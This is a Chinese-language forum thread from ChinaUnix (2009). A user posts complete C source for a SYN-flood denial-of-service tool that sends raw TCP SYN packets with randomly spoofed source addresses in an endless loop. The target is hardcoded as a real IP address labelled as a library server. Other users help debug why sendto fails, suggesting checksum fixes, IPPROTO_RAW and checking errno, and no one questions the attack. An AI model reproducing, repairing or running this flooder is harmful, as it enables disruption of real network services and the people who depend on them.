免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 8436 | 回复: 14
打印 上一主题 下一主题

自己构造IP包,出现sendto错误。大虾进来指点一些! [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-09-13 20:22 |只看该作者 |倒序浏览
从网上找到一段DOS的代码,就是自己构造TCP报文,IP源地址随机生成的,TCP只有SYN=1,然后就断掉,以实现DOS攻击。
先看代码吧:
  1. /*

  2.     file: dos.c

  3.     usage: dos attrack, for disguise TCP ACK and syn.

  4.            destination is 202.119.232.8:80.(图书馆)

  5.     from: http://blog.csdn.net/eroswang/archive/2007/09/19/1791514.aspx

  6.     date: 2009-9-13

  7. */



  8. #include <stdio.h>

  9. #include <unistd.h>

  10. #include <string.h>

  11. #include <sys/socket.h>

  12. #include <netinet/in_systm.h>

  13. #include <netinet/ip.h>

  14. #include <netinet/tcp.h>

  15. #include <netinet/ip_icmp.h>

  16. #include <errno.h>

  17. #include <sys/types.h>

  18. #include <stdlib.h>

  19. #include <arpa/inet.h>

  20. #include <unistd.h>

  21. /*

  22. #ifndef __USE_BSD

  23. #define __USE_BSD

  24. #ifndef __FAVOR_BSD

  25. #define __FAVOR_BSD

  26. */

  27. void send_tcp(int sockfd,struct sockaddr_in *addr);

  28. unsigned short check_sum(unsigned short *addr,int len);



  29. int destPort = 80; /*destination port is 80*/

  30. int sockfd;

  31. struct sockaddr_in destAddr;

  32. int main(int argc,char **argv)

  33. {

  34. /*struct hostent *host;*/

  35. int on=1;



  36. bzero(&destAddr,sizeof(struct sockaddr_in));

  37. destAddr.sin_family=AF_INET;

  38. destAddr.sin_port=htons(destPort);

  39. /*

  40. if(inet_aton(argv[1],&addr.sin_addr)==0)

  41. {

  42. host=gethostbyname(argv[1]);

  43. if(host==NULL)

  44. {

  45. fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));

  46. exit(1);

  47. }

  48. addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0])

  49. }

  50. */

  51. if( inet_aton("202.119.232.8",&destAddr.sin_addr) ==0 )

  52. {

  53.     printf("destAddr is error!\n");

  54.     exit(1);

  55. }



  56. /**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/

  57. sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

  58. if(sockfd<0)

  59. {

  60. fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));

  61. exit(1);

  62. }



  63. /******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/

  64. setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));



  65. /**** 没有办法,只用超级护用户才可以使用原始套接字 *********/

  66. setuid(getpid());



  67. /********* 发送炸弹了!!!! ****/

  68.     send_tcp(sockfd,&destAddr);

  69. }



  70. /******* 发送炸弹的实现 *********/

  71. void send_tcp(int sockfd,struct sockaddr_in *destAddr)

  72. {

  73. char buffer[100]; /**** 用来放置我们的数据包 ****/

  74. struct ip *ip;

  75. struct tcphdr *tcp;

  76. int head_len;

  77. char *svrIp = NULL;

  78. /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/

  79. head_len=sizeof(struct ip)+sizeof(struct tcphdr);



  80. bzero(buffer,100);



  81. /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/

  82. ip=(struct ip *)buffer;

  83. ip->ip_v=IPVERSION; /** 版本一般的是 4 **/

  84. ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/

  85. ip->ip_tos=0; /** 服务类型 **/

  86. ip->ip_len=htons(head_len); /** IP数据包的长度 **/

  87. ip->ip_id=0; /** 让系统去填写吧 **/

  88. ip->ip_off=0; /** 和上面一样,省点时间 **/

  89. ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/

  90. ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/

  91. ip->ip_sum=0; /** 校验和让系统去做 **/

  92. ip->ip_dst=destAddr->sin_addr; /** 我们攻击的对象 **/



  93. /******* 开始填写TCP数据包 *****/

  94. tcp=(struct tcphdr *)(buffer +sizeof(struct ip));

  95. tcp->source=htons(9890);

  96. tcp->dest=destAddr->sin_port; /** 目的端口 **/

  97. tcp->seq=random();

  98. tcp->ack_seq=0;

  99. tcp->doff=5;

  100. tcp->syn=1; /** 我要建立连接 **/

  101. tcp->check=0;



  102. struct pseudohdr

  103. {

  104.     struct in_addr saddr;

  105.     struct in_addr daddr;

  106.     unsigned char zero;

  107.     unsigned char protocol;

  108.     unsigned short length;

  109. }pseudoheader;

  110. char chsum[40];



  111. /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/

  112. while(1)

  113. {

  114. /** 你不知道我是从那里来的,慢慢的去等吧! **/

  115. ip->ip_src.s_addr=random();

  116. /*伪首部,用于计算TCP检验和的*/

  117. pseudoheader.saddr.s_addr = ip->ip_src.s_addr;

  118. pseudoheader.daddr.s_addr = ip->ip_dst.s_addr;

  119. pseudoheader.zero = 0;

  120. pseudoheader.protocol = 4;

  121. pseudoheader.length = sizeof(struct tcphdr);

  122. bzero(chsum, sizeof(chsum));

  123. memcpy(chsum, &pseudoheader,sizeof(pseudoheader));

  124. memcpy(chsum+sizeof(pseudoheader), &tcp, sizeof(struct tcphdr));



  125. svrIp = inet_ntoa(ip->ip_src);

  126. printf("souce IP is:%s\t", svrIp);

  127. /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */

  128. /** 下面这条可有可无 */

  129. tcp->check=check_sum((unsigned short *)chsum,sizeof(pseudoheader)+sizeof(struct tcphdr));

  130. if( sendto(sockfd,buffer,head_len,0,(struct sockaddr *)&destAddr,

  131.             sizeof(struct sockaddr_in)) < 0)

  132.             printf("sendto error!\n");

  133. }

  134. }

  135. /* 下面是首部校验和的算法,偷了别人的 */

  136. unsigned short check_sum(unsigned short *addr,int len)

  137. {

  138. int nleft=len;

  139. int sum=0;

  140. unsigned short *w=addr;

  141. short answer=0;



  142. while(nleft>1)

  143. {

  144. sum+=*w++;

  145. nleft-=2;

  146. }

  147. if(nleft==1)

  148. {

  149. *(unsigned char *)(&answer)=*(unsigned char *)w;

  150. sum+=answer;

  151. }



  152. sum=(sum>>16)+(sum&0xffff);

  153. sum+=(sum>>16);

  154. answer=~sum;

  155. return(answer);

  156. }
复制代码


请教:问题:每次总是出现sendto错误(就是上面红色部分),我仔细检查了IP和TCP头,都没有发现明显的错误,随即生成的IP地址,也是可用的,gdb也挑不出来什么。另外,我的是ubuntu 8。04
郁闷,请大侠们教教,谢谢!

论坛徽章:
0
2 [报告]
发表于 2009-09-13 20:36 |只看该作者
我初步怀疑是校验和的问题

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
3 [报告]
发表于 2009-09-13 22:04 |只看该作者
原帖由 GoldenSoldier 于 2009-9-13 20:36 发表
我初步怀疑是校验和的问题


如果怀疑校验和的问题,那就先验证一下你的校验和计算函数啊。

论坛徽章:
0
4 [报告]
发表于 2009-09-14 09:58 |只看该作者
IPPROTO_TCP该成IPPROTO_RAW试试

论坛徽章:
0
5 [报告]
发表于 2009-09-14 10:03 |只看该作者
sendto出错,看下错误号和错误信息

论坛徽章:
0
6 [报告]
发表于 2009-09-14 10:59 |只看该作者

回复 #5 duanjigang 的帖子

首先,感谢各位大侠的关注。

>>如果怀疑校验和的问题,那就先验证一下你的校验和计算函数啊。
校验和部分,函数是来自UNP第二版的,应该不会错,而且我用它实现了发送ICMP报,就是PING程序。

>>IPPROTO_TCP该成IPPROTO_RAW试试
试过了,没有变化。

>>sendto出错,看下错误号和错误信息
在UNP上面的sendto函数,成功,则返回读取字节数;失败,则返回-1
貌似没有什么错误码。而且我自己又看了一下返回值,确实是-1;
不知道,是我理解错了“sendto出错,看下错误号和错误信息”这句话么?
望释惑!
谢谢

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
7 [报告]
发表于 2009-09-14 11:16 |只看该作者
校验和部分,函数是来自UNP第二版的,应该不会错,而且我用它实现了发送ICMP报,就是PING程序。

ICMP的校验和和TCP/UDP校验和的计算方式不一样的

论坛徽章:
0
8 [报告]
发表于 2009-09-14 12:45 |只看该作者
可能是这样:如果发生了SIGPIPE信号,默认处理是退出,所以,根本不会有-1的结果显示出来

论坛徽章:
0
9 [报告]
发表于 2009-09-14 14:12 |只看该作者
原帖由 Godbach 于 2009-9-14 11:16 发表

ICMP的校验和和TCP/UDP校验和的计算方式不一样的


难道是我孤陋寡闻?
校验和的计算方式不是都一样么?
16bit分开,反码相加

论坛徽章:
0
10 [报告]
发表于 2009-09-14 16:06 |只看该作者
原帖由 duanjigang 于 2009-9-14 10:03 发表
sendto出错,看下错误号和错误信息

Address family not supported by protocol
上面是perror的错误信息,表示什么意思呢?
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP